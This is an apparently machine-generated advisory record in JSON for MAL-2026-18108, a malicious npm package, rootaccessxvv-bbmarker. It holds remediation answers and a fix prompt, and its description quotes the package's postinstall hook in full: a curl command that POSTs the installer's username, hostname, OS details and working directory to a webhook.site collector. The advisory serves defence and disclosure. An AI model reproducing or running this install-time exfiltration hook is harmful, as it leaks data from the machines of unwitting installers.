{"answers":{"affected":"1 open source package ship an affected version, including rootaccessxvv-bbmarker.","exploited":"There is no known exploitation of MAL-2026-18108 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-18108 is a malicious package in rootaccessxvv-bbmarker, published on 18 Oct 2026."},"fix_prompt":"MAL-2026-18108 is a malicious package: rootaccessxvv-bbmarker (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-18108/ (Markdown: https://insights.sbomify.com/MAL-2026-18108/index.md)","id":"MAL-2026-18108","markdown":"https://insights.sbomify.com/MAL-2026-18108/index.md","name":"MAL-2026-18108","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"Its `postinstall` hook runs on npm install: `curl -s -m 10 -X POST \"https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof\" -H \"Content-Type: text/plain\" --data-binary \"DPD-REGISTRY-RCE-PROOF|user=$(whoami)|host=$(hostname)|node=$(node --version)|os=$(uname -a 2\u003e/dev/null || ver)|cwd=$PWD|pkg=rootaccessxvv-bbmarker@1.0.2|benign-research-rootaccessxvv\" || true`. The hook collects the username, hostname, Node.js version, operating system, working directory and package name, then sends them to `https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof`. The npm account `mohamed2343224` published it on 2026-10-18.\n\npackage.json declares a postinstall lifecycle script that runs on `npm install` and POSTs installer host identifiers to a hardcoded webhook.site collector at https://webhook.site/8f9e5268-4fcf-47a1-97a8-681b51c1edbc/rce-proof. The script shells out to `whoami`, `hostname`, `uname`, and `node -v`, concatenates the output with the current working directory, and sends the result via `curl -X POST`. The destination is an anonymous third-party webhook aggregator unrelated to any legitimate install-time dependency. The package name self-describes as a proof-of-concept, but the behavior — automatic install-time collection and exfiltration of installer identity and host metadata to an attacker-controlled collector — is a working supply-chain attack regardless of how it is labeled.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in rootaccessxvv-bbmarker (npm)","id":"MAL-2026-18108","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"rootaccessxvv-bbmarker","purl":"pkg:npm/rootaccessxvv-bbmarker","source":"MAL-2026-18108"}],"products":null,"published":"2026-10-18","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-18108/"}